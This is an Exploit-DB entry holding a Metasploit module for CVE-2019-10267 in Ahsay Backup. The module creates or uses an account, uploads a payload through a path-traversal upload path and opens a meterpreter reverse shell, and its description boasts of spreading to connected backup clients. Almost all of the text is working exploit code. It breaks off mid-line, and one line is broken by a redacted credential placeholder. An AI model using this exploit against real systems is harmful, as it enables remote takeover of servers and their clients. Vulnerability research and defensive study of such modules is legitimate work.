Exploit-DB #47180
Description: Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit)
Type: webapps
Platform: jsp
Date: 2019-07-26
Author: Wietse Boonstra

Exploit:
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 (REQUIRED)
# Tested on: Windows / Linux
# CVE : CVE-2019-10267
 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include REXML
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
      'Description' => %q{
       This module exploits an authenticated insecure file upload and code
       execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
       the upload credentials are needed, default on Ahsay Backup trial
       accounts are enabled so an account can be created.
 
       It can be exploited in Windows and Linux environments to get remote code
       execution (usualy as SYSTEM). This module has been tested successfully
       on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
       flaw all connected clients can be configured to execute a command before
       the backup starts. Allowing an attacker to takeover even more systems
       and make it rain shells!
 
       Setting the CREATEACCOUNT to true will create a new account, this is
       enabled by default.
       If credeantials are known enter these and run the exploit.
      },
      'Author'       =>
        [
          'Wietse Boonstra'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2019-10267'],
          [ 'URL', 'https://www.wbsec.nl/ahsay/' ],
          [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'win',
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true,
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
      },
      'Targets'     =>
        [
          [  'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86', # should work but untested
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
 
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 1 2019'))
 
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
        OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
        OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),
        OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
        OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
 
      ])
  end
 
  def is_trial_enabled?
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
      'method' => 'POST',
      'data'   => ''
    })
    if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
      return true
    else
      return false
    end
  end
 
  def check_account?
    headers = create_request_headers
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),
      'method' => 'POST',
      'data'   => '',
      'headers' => headers
    })
    if res and res.code == 200
      print_good("Username and password are valid!")
      return true
    elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
      # fail_with(Failure::NoAccess, 'Username incorrect!')
      print_status("Username does not exist.")
      return false
    elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
      # fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
      print_status("Username exists but password incorrect!")
      return false
    else
      return false
    end
  end
 
  def create_request_headers
    headers = {}
    username = Rex::Text.encode_base64(datastore['USERNAME'])
    password = Rex::Text.encode_base64(datastore['PASSWORD'])
    headers['X-RSW-custom-encode-username'] = username
    headers['X-RSW-custom-encode-password'] = password
    headers
  end
 
  def exploit
    username = datastore['USERNAME']
    [CREDENTIAL_REDACTED]['PASSWORD']
 
    if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
      if username == "" or password == ""
        fail_with(Failure::NoAccess, 'Please set a username and password')
      else
        #check if account does not exists?
        if !check_account?
          # Create account and check if it is valid
          if create_account?
            drop_and_execute()
          else
            fail_with(Failure::NoAccess, 'Failed to authenticate')
          end
        else
          #Need to fix, check if account exist
          print_good("No need to create account, already exists!")
          drop_and_execute()
        end
      end
    elsif username != "" and password != ""
      if check_account?
        drop_and_execute()
      else
        if is_trial_enabled?
          fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
        end
        fail_with(Failure::NoAccess, 'Username and password are inva